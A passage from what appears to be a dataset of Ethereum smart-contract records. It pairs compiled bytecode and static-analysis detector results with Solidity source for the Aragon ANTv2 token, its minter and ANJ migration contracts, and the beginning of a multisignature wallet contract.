60011615610100020316600290048015610c7b5780601f10610c5057610100808354040283529160200191610c7b565b820191906000526020600020905b815481529060010190602001808311610c5e57829003601f168201915b5050505050905090565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d0d57600080fd5b60135460ff1615610d1d57600080fd5b506013805462ff000019169055600190565b600b5490565b6000805433600160a060020a03908116911614610d5157600080fd5b60135460ff1615610d6157600080fd5b506013805461ff0019169055600190565b60125481565b60115460009060ff161515600114610d8f57600080fd5b600160a060020a03831615801590610da75750600082115b8015610dcc5750600160a060020a038416600090815260016020526040902054829010155b8015610dff5750600160a060020a0380851660009081526002602090815260408083203390941683529290522054829010155b8015610e245750600160a060020a03841660009081526003602052604090205460ff16155b8015610e495750600160a060020a03831660009081526003602052604090205460ff16155b1515610e5457600080fd5b600160a060020a038416600090815260016020526040902054610e7d908363ffffffff611d0b16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610eb2908363ffffffff611c2b16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610efa908363ffffffff611d0b16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206121168339815191529085905190815260200160405180910390a35060015b9392505050565b600d5481565b600a5460ff1690565b6000805433600160a060020a03908116911614610f8157600080fd5b600160a060020a033316600090815260016020526040902054821115610fa657600080fd5b5033600160a060020a038116600090815260016020526040902054610fcb9083611d0b565b600160a060020a038216600090815260016020526040902055600b54610ff7908363ffffffff611d0b16565b600b5560105461100d908363ffffffff611d0b16565b601055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b6000805433600160a060020a0390811691161461106d57600080fd5b60ff8251111561107c57600080fd5b5060005b81518160ff1610156110db57600160036000848460ff16815181106110a157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055600101611080565b5050565b6000805433600160a060020a039081169116146110fb57600080fd5b50600160a060020a033081163190821681156108fc0282604051600060405180830381858888f1935050505015156110db57600080fd5b60065481565b600160a060020a031660009081526001602052604090205490565b6000805433600160a060020a0390811691161461116f57600080fd5b60135460ff161561117f57600080fd5b506013805461ff001916610100179055600190565b6000805433600160a060020a039081169116146111b057600080fd5b506011805460ff1916600190811790915590565b600e5481565b600054600160a060020a031681565b6111e16120ec565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c7b5780601f10610c5057610100808354040283529160200191610c7b565b601354610100900460ff1681565b6000805433600160a060020a0390811691161461127657600080fd5b60135460ff161561128657600080fd5b506013805460ff1916600190811790915590565b6000805433600160a060020a039081169116146112b657600080fd5b60ff825111156112c557600080fd5b5060005b81518160ff1610156110db57600060036000848460ff16815181106112ea57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016112c9565b60005433600160a060020a0390811691161461133f57600080fd5b600160a060020a03811615611377576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000805433600160a060020a0390811691161461139657600080fd5b60135460ff16156113a657600080fd5b60ff835111156113b557600080fd5b81518351146113c357600080fd5b5060005b82518160ff161015610bd857600f54828260ff16815181106113e557fe5b9060200190602002015111156113fa57600080fd5b611434838260ff168151811061140c57fe5b90602001906020020151838360ff168151811061142557fe5b90602001906020020151611c3a565b50600b546010541061144e576013805460ff191660011790555b6001016113c7565b60006114606120ec565b60115460ff16151560011461147457600080fd5b61147d84611d1d565b156114945761148d848483611d25565b915061149f565b61148d848483611f78565b5092915050565b600c5481565b6000805433600160a060020a039081169116146114c857600080fd5b60135460ff16156114d857600080fd5b506013805462ff0000191662010000179055600190565b6000805433600160a060020a0390811691161461150b57600080fd5b50600c849055600d8390556012829055600681905560015b949350505050565b60115460009060ff16151560011461154257600080fd5b61154b84611d1d565b156115625761155b848484611d25565b9050610f4f565b61155b848484611f78565b60135460ff1681565b60008281600160a060020a0382166370a0823185836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156115d057600080fd5b6102c65a03f115156115e157600080fd5b50505060405180519695505050505050565b60056020526000908152604090205481565b60135462010000900460ff1681565b600754600160a060020a031681565b6000805433600160a060020a0390811691161461163f57600080fd5b506013805460ff19169055600190565b600f5481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60115460ff1681565b600080548190819033600160a060020a039081169116146116a957600080fd5b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561170357600080fd5b6102c65a03f1151561171457600080fd5b505050604051805160008054919350600160a060020a03808616935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561178457600080fd5b6102c65a03f1151561179557600080fd5b505050604051805195945050505050565b6000805433600160a060020a039081169116146117c257600080fd5b60ff835111156117d157600080fd5b5060005b82518160ff161015610bd857600654828260ff16815181106117f357fe5b90602001906020020151111561180857600080fd5b818160ff168151811061181757fe5b9060200190602002015160046000858460ff168151811061183457fe5b90602001906020020151600160a060020a031681526020810191909152604001600020556001016117d5565b6000805433600160a060020a0390811691161461187c57600080fd5b506011805460ff19169055600190565b60046020526000908152604090205481565b60105481565b6000805433600160a060020a039081169116146118c057600080fd5b60135460ff16156118d057600080fd5b60ff835111156118df57600080fd5b600f548211156118ee57600080fd5b5060005b82518160ff161015610bbf57600f5482111561190d57600080fd5b61192f838260ff168151811061191f57fe5b9060200190602002015183611c3a565b506001016118f2565b60115460009060ff16151560011461194f57600080fd5b61195885611d1d565b15611be0578361196733611138565b101561197257600080fd5b600160a060020a03331660009081526001602052604090205461199b908563ffffffff611d0b16565b600160a060020a0333811660009081526001602052604080822093909355908716815220546119d0908563ffffffff611c2b16565b600160a060020a0386166000818152600160205260408082209390935590918490518082805190602001908083835b60208310611a1e5780518252601f1990920191602091820191016119ff565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611aaf578082015183820152602001611a97565b50505050905090810190601f168015611adc5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611b0057fe5b826040518082805190602001908083835b60208310611b305780518252601f199092019160209182019101611b11565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206121168339815191528660405190815260200160405180910390a3506001611523565b611beb858585611f78565b9050611523565b60036020526000908152604090205460ff1681565b6000828202831580611c235750828482811515611c2057fe5b04145b1515610f4f57fe5b600082820183811015610f4f57fe5b60135460009060ff1615611c4d57600080fd5b600f546000901015611c5e57600080fd5b600f54821115611c6d57600080fd5b601054611c80908363ffffffff611c2b16565b601055600f54611c96908363ffffffff611d0b16565b600f55600160a060020a038316600090815260016020526040902054611cc2908363ffffffff611c2b16565b600160a060020a0384166000818152600160205260408082209390935590916000805160206121168339815191529085905190815260200160405180910390a350600192915050565b600082821115611d1757fe5b50900390565b6000903b1190565b60008083611d3233611138565b1015611d3d57600080fd5b600160a060020a033316600090815260016020526040902054611d66908563ffffffff611d0b16565b600160a060020a033381166000908152600160205260408082209390935590871681522054611d9b908563ffffffff611c2b16565b600160a060020a03861660008181526001602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e34578082015183820152602001611e1c565b50505050905090810190601f168015611e615780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611e8157600080fd5b6102c65a03f11515611e9257600080fd5b505050826040518082805190602001908083835b60208310611ec55780518252601f199092019160209182019101611ea6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206121168339815191528660405190815260200160405180910390a3506001949350505050565b600082611f8433611138565b1015611f8f57600080fd5b600160a060020a033316600090815260016020526040902054611fb8908463ffffffff611d0b16565b600160a060020a033381166000908152600160205260408082209390935590861681522054611fed908463ffffffff611c2b16565b600160a060020a03851660009081526001602052604090819020919091558290518082805190602001908083835b6020831061203a5780518252601f19909201916020918201910161201b565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206121168339815191528560405190815260200160405180910390a35060019392505050565b60206040519081016040526000815290565b600080828481151561210c57fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582049b83bcfe12f5b964fba2e8ee9983afe11a2a3d9f8fe2488e7c26a979aa715b10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,360 |
0xab788183ffad7d3faa54cfc1f9eef7ff981f4cfd
|
pragma solidity 0.5.17;
interface ApproveAndCallReceiver {
/**
* @dev This allows users to use their tokens to interact with contracts in one function call instead of two
* @param _from Address of the account transferring the tokens
* @param _amount The amount of tokens approved for in the transfer
* @param _token Address of the token contract calling this function
* @param _data Optional data that can be used to add signalling information in more complex staking applications
*/
function receiveApproval(address _from, uint256 _amount, address _token, bytes calldata _data) external;
}
/*
* SPDX-License-Identifier: MIT
*/
interface ILockManager {
/**
* @dev Tell whether a user can unlock a certain amount of tokens
*/
function canUnlock(address user, uint256 amount) external view returns (bool);
}
/*
* SPDX-License-Identifier: MIT
*/
interface IGuardiansRegistry {
/**
* @dev This allows users or managers to stake and activate coins on the GuardiansRegistry
* @param _guardian Address of the guardian staking and activating tokens for
* @param _amount Amount of tokens to be staked and activated
*/
function stakeAndActivate(address _guardian, uint256 _amount) external;
/**
* @dev This allows users to lock the active tokens.
* @param _guardian Address of the guardian locking the activation for
* @param _lockManager Address of the lock manager that will control the lock
* @param _amount Amount of active tokens to be locked
*/
function lockActivation(address _guardian, address _lockManager, uint256 _amount) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
// A library for performing overflow-safe math, courtesy of DappHub: https://github.com/dapphub/ds-math/blob/d0ef6d6a5f/src/math.sol
// Modified to include only the essentials
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "MATH:ADD_OVERFLOW");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "MATH:SUB_UNDERFLOW");
}
}
// Lightweight token modelled after UNI-LP: https://github.com/Uniswap/uniswap-v2-core/blob/v1.0.1/contracts/UniswapV2ERC20.sol
// Adds:
// - An exposed `mint()` with minting role
// - An exposed `burn()`
// - ERC-3009 (`transferWithAuthorization()`)
contract ANTv2 is IERC20 {
using SafeMath for uint256;
// bytes32 private constant EIP712DOMAIN_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
bytes32 private constant EIP712DOMAIN_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
// bytes32 private constant NAME_HASH = keccak256("Aragon Network Token")
bytes32 private constant NAME_HASH = 0x711a8013284a3c0046af6c0d6ed33e8bbc2c7a11d615cf4fdc8b1ac753bda618;
// bytes32 private constant VERSION_HASH = keccak256("1")
bytes32 private constant VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
// bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
// bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH =
// keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)");
bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267;
string public constant name = "Aragon Network Token";
string public constant symbol = "ANT";
uint8 public constant decimals = 18;
address public minter;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// ERC-2612, ERC-3009 state
mapping (address => uint256) public nonces;
mapping (address => mapping (bytes32 => bool)) public authorizationState;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event ChangeMinter(address indexed minter);
modifier onlyMinter {
require(msg.sender == minter, "ANTV2:NOT_MINTER");
_;
}
constructor(address initialMinter) public {
_changeMinter(initialMinter);
}
function _validateSignedData(address signer, bytes32 encodeData, uint8 v, bytes32 r, bytes32 s) internal view {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
getDomainSeparator(),
encodeData
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
// Explicitly disallow authorizations for address(0) as ecrecover returns address(0) on malformed messages
require(recoveredAddress != address(0) && recoveredAddress == signer, "ANTV2:INVALID_SIGNATURE");
}
function _changeMinter(address newMinter) internal {
minter = newMinter;
emit ChangeMinter(newMinter);
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
// Balance is implicitly checked with SafeMath's underflow protection
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) private {
require(to != address(this) && to != address(0), "ANTV2:RECEIVER_IS_TOKEN_OR_ZERO");
// Balance is implicitly checked with SafeMath's underflow protection
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function getChainId() public pure returns (uint256 chainId) {
assembly { chainId := chainid() }
}
function getDomainSeparator() public view returns (bytes32) {
return keccak256(
abi.encode(
EIP712DOMAIN_HASH,
NAME_HASH,
VERSION_HASH,
getChainId(),
address(this)
)
);
}
function mint(address to, uint256 value) external onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function changeMinter(address newMinter) external onlyMinter {
_changeMinter(newMinter);
}
function burn(uint256 value) external returns (bool) {
_burn(msg.sender, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
uint256 fromAllowance = allowance[from][msg.sender];
if (fromAllowance != uint256(-1)) {
// Allowance is implicitly checked with SafeMath's underflow protection
allowance[from][msg.sender] = fromAllowance.sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, "ANTV2:AUTH_EXPIRED");
bytes32 encodeData = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
_validateSignedData(owner, encodeData, v, r, s);
_approve(owner, spender, value);
}
function transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
require(block.timestamp > validAfter, "ANTV2:AUTH_NOT_YET_VALID");
require(block.timestamp < validBefore, "ANTV2:AUTH_EXPIRED");
require(!authorizationState[from][nonce], "ANTV2:AUTH_ALREADY_USED");
bytes32 encodeData = keccak256(abi.encode(TRANSFER_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce));
_validateSignedData(from, encodeData, v, r, s);
authorizationState[from][nonce] = true;
emit AuthorizationUsed(from, nonce);
_transfer(from, to, value);
}
}
contract ANTv2MultiMinter {
string private constant ERROR_NOT_OWNER = "ANTV2_MM:NOT_OWNER";
string private constant ERROR_NOT_MINTER = "ANTV2_MM:NOT_MINTER";
address public owner;
ANTv2 public ant;
mapping (address => bool) public canMint;
event AddedMinter(address indexed minter);
event RemovedMinter(address indexed minter);
event ChangedOwner(address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner, ERROR_NOT_OWNER);
_;
}
modifier onlyMinter {
require(canMint[msg.sender] || msg.sender == owner, ERROR_NOT_MINTER);
_;
}
constructor(address _owner, ANTv2 _ant) public {
owner = _owner;
ant = _ant;
}
function mint(address to, uint256 value) external onlyMinter returns (bool) {
return ant.mint(to, value);
}
function addMinter(address minter) external onlyOwner {
canMint[minter] = true;
emit AddedMinter(minter);
}
function removeMinter(address minter) external onlyOwner {
canMint[minter] = false;
emit RemovedMinter(minter);
}
function changeMinter(address newMinter) onlyOwner external {
ant.changeMinter(newMinter);
}
function changeOwner(address newOwner) onlyOwner external {
_changeOwner(newOwner);
}
function _changeOwner(address newOwner) internal {
owner = newOwner;
emit ChangedOwner(newOwner);
}
}
contract ANJLockMinter is ApproveAndCallReceiver, ILockManager {
string private constant ERROR_WRONG_TOKEN = "ANJ_LCK_MNTR:WRONG_TOKEN";
string private constant ERROR_ZERO_AMOUNT = "ANJ_LCK_MNTR:ZERO_AMOUNT";
string private constant ERROR_TRANSFER_FAILED = "ANJ_LCK_MNTR:TRANSFER_FAIL";
string private constant ERROR_MINT_FAILED = "ANJ_LCK_MNTR:MINT_FAILED";
address private constant BURNED_ADDR = 0x000000000000000000000000000000000000dEaD;
// Timestamp of 5th October, 2021
uint256 public constant LOCKED_UNTIL = 1633392000;
// Exchange rate is 0.044 ANT per ANJ
uint256 private constant RATE = 44 * 10 ** 15;
uint256 private constant RATE_BASE = 10 ** 18;
ANTv2MultiMinter public minter;
ANTv2 public ant;
IERC20 public anj;
IGuardiansRegistry public guardiansRegistry;
constructor(ANTv2MultiMinter _minter, ANTv2 _ant, IERC20 _anj, IGuardiansRegistry _guardiansRegistry) public {
minter = _minter;
ant = _ant;
anj = _anj;
guardiansRegistry = _guardiansRegistry;
}
function migrate(uint256 _amount) external {
_migrate(msg.sender, _amount);
}
function migrateAll() external {
uint256 amount = anj.balanceOf(msg.sender);
_migrate(msg.sender, amount);
}
function receiveApproval(address _from, uint256 _amount, address _token, bytes calldata /*_data*/) external {
require(_token == msg.sender && _token == address(anj), ERROR_WRONG_TOKEN);
uint256 fromBalance = anj.balanceOf(_from);
uint256 migrationAmount = _amount > fromBalance ? fromBalance : _amount;
_migrate(_from, migrationAmount);
}
function canUnlock(address user, uint256 amount) external view returns (bool) {
return block.timestamp >= LOCKED_UNTIL;
}
function _migrate(address _from, uint256 _amount) private {
require(_amount > 0, ERROR_ZERO_AMOUNT);
// Burn ANJ
require(anj.transferFrom(_from, BURNED_ADDR, _amount), ERROR_TRANSFER_FAILED);
// Mint ANT
uint256 antAmount = _amount * RATE / RATE_BASE;
require(minter.mint(address(this), antAmount), ERROR_MINT_FAILED);
// Approve tokens for GuardianRegistry so it can execute TransferFrom on behalf of the user.
ant.approve(address(guardiansRegistry), antAmount);
// activate and lock the newly minted tokens.
guardiansRegistry.stakeAndActivate(_from, antAmount);
guardiansRegistry.lockActivation(_from, address(this), antAmount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a35760003560e01c806374c6853e116100765780638f4ffcb11161005b5780638f4ffcb11461015d57806396088d59146101f957806398a8351614610213576100a3565b806374c6853e1461014d5780638b26cb3d14610155576100a3565b806307546172146100a857806332c6534b146100d9578063454b0608146101265780634a77f87014610145575b600080fd5b6100b061021b565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610112600480360360408110156100ef57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610237565b604080519115158252519081900360200190f35b6101436004803603602081101561013c57600080fd5b5035610244565b005b610143610251565b6100b06102fa565b6100b0610316565b6101436004803603608081101561017357600080fd5b73ffffffffffffffffffffffffffffffffffffffff82358116926020810135926040820135909216918101906080810160608201356401000000008111156101ba57600080fd5b8201836020820111156101cc57600080fd5b803590602001918460018302840111640100000000831117156101ee57600080fd5b509092509050610332565b610201610516565b60408051918252519081900360200190f35b6100b061051e565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b505063615b958042101590565b61024e338261053a565b50565b600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152336004820152905160009273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b1580156102c257600080fd5b505afa1580156102d6573d6000803e3d6000fd5b505050506040513d60208110156102ec57600080fd5b5051905061024e338261053a565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff831633148015610371575060025473ffffffffffffffffffffffffffffffffffffffff8481169116145b6040518060400160405280601881526020017f414e4a5f4c434b5f4d4e54523a57524f4e475f544f4b454e00000000000000008152509061044a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5781810151838201526020016103f7565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600254604080517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8881166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156104c257600080fd5b505afa1580156104d6573d6000803e3d6000fd5b505050506040513d60208110156104ec57600080fd5b5051905060008186116104ff5785610501565b815b905061050d878261053a565b50505050505050565b63615b958081565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60408051808201909152601881527f414e4a5f4c434b5f4d4e54523a5a45524f5f414d4f554e5400000000000000006020820152816105d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561040f5781810151838201526020016103f7565b50600254604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff858116600483015261dead602483015260448201859052915191909216916323b872dd9160648083019260209291908290030181600087803b15801561065957600080fd5b505af115801561066d573d6000803e3d6000fd5b505050506040513d602081101561068357600080fd5b505160408051808201909152601a81527f414e4a5f4c434b5f4d4e54523a5452414e534645525f4641494c00000000000060208201529061071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561040f5781810151838201526020016103f7565b5060008054604080517f40c10f19000000000000000000000000000000000000000000000000000000008152306004820152670de0b6b3a7640000669c51c4521e0000860204602482018190529151919373ffffffffffffffffffffffffffffffffffffffff909316926340c10f19926044808401936020939083900390910190829087803b1580156107b157600080fd5b505af11580156107c5573d6000803e3d6000fd5b505050506040513d60208110156107db57600080fd5b505160408051808201909152601881527f414e4a5f4c434b5f4d4e54523a4d494e545f4641494c45440000000000000000602082015290610877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561040f5781810151838201526020016103f7565b50600154600354604080517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283166004820152602481018590529051919092169163095ea7b39160448083019260209291908290030181600087803b1580156108f757600080fd5b505af115801561090b573d6000803e3d6000fd5b505050506040513d602081101561092157600080fd5b5050600354604080517f2b7f012e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301526024820185905291519190921691632b7f012e91604480830192600092919082900301818387803b15801561099e57600080fd5b505af11580156109b2573d6000803e3d6000fd5b5050600354604080517f51d2f18600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff88811660048301523060248301526044820187905291519190921693506351d2f1869250606480830192600092919082900301818387803b158015610a3757600080fd5b505af115801561050d573d6000803e3d6000fdfea265627a7a7231582018e12ee22f46025526c334711324ab867340ef38f895453f05081eb4e024285664736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,361 |
0x123b4877aa82306359fb1a9a92f4b84d665b352c
|
/**
*Submitted for verification at Etherscan.io on 2021-04-18
*/
pragma solidity 0.6.6;
/*
* @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
* @author Stefan George - <[email protected]>
*/
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
bytes32 constant internal projectHash = keccak256(abi.encodePacked("CLAIM"));
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
uint submitTime;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this), "msg.sender != address(this)");
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner], "is already owner");
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner],"is not owner");
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != address(0),"transactionId is not exists");
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner],"is not confirmed");
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner],"already confirmed");
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed,"already executed");
_;
}
modifier notNull(address _address) {
require(_address != address(0),"_address == address(0)");
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0,"error: validRequirement()");
_;
}
/// @dev Fallback function allows to deposit ether.
fallback() external {
}
receive() external payable {
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
if (required > (owners.length - 1))
changeRequirement(owners.length - 1);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/*@dev Allows an owner to submit and confirm a transaction.
@param destination Transaction target address.
@param value Transaction ether value.
@param data Transaction data payload.
@return Returns transaction ID.*/
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to batch confirm transactions.
/// @param transactionIdArray Transaction ID array.
function batchConfirmTransaction(uint[] memory transactionIdArray) public
{
for(uint i = 0; i < transactionIdArray.length; i++ ) {
confirmTransaction(transactionIdArray[i]);
}
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
